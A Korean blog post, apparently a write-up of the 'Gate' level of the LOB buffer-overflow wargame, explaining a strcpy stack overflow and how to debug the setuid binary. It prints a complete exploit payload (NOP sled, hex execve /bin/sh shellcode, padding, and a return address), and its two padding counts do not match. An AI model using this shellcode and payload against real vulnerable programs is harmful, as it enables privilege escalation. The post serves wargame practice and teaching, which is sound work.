LOB의 1번 Gate문제입니다.
소스를 보시면 strcpy로 인해 오버플로우가 남을 알 수 있습니다.
setuid가 걸려있으므로 gdb로 디버깅을 할 수 없으므로
임시폴더로 복사를 해 디버깅 할 수 있습니다.
main의 어셈블리 코드입니다.
처음에는 AT&T 문법이 적용되어 있지만
set disassembly-flavor intel
이라는 명령어를 통해 intel 문법으로 바꿔줄 수 있습니다.
main+54 에 있는 strcpy의 인자를 보시면 ebp-256번째부터 값이 들어가므로
"\x90"*100+ShellCode(25byte)+"A"*131+SFP+RET
이런 형식으로 값을 전달하면 됩니다.
gdb를 통해 버퍼의 주소 값을 알아내 보겠습니다.
argv1 의 값으로 "A"를 넣어주고 실행시켰습니다.
위 그림은 strcpy를 실행한 직후이며
ESP가 지정하고 있는 부분을 덤프한 것입니다.
이로써 Return 주소는 0xbffff918 임을 알 수 있습니다.
결과적으로 PayLoad는
"\x90"*100+ShellCode(25byte)+"A"*135+"\x18\xf9\xff\xbf"
ShellCode
\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
이때 주의하실 점은 LOB는 기본으로 bash1을 사용하는데
"\xff"를 NULL로 인식한다는 버그가 있으므로
커멘드로 chsh -s /bin/bash2를 입력해 사용하시길 바랍니다.
'Pwnable > LOB' 카테고리의 다른 글
LOB 6. Wolfman (0) | 2015.09.25 |
---|---|
LOB 5. Orc (0) | 2015.09.23 |
LOB 4. Goblin (0) | 2015.09.20 |
LOB 3. Cobolt (0) | 2015.09.17 |
LOB 2. Gremlin (0) | 2015.09.12 |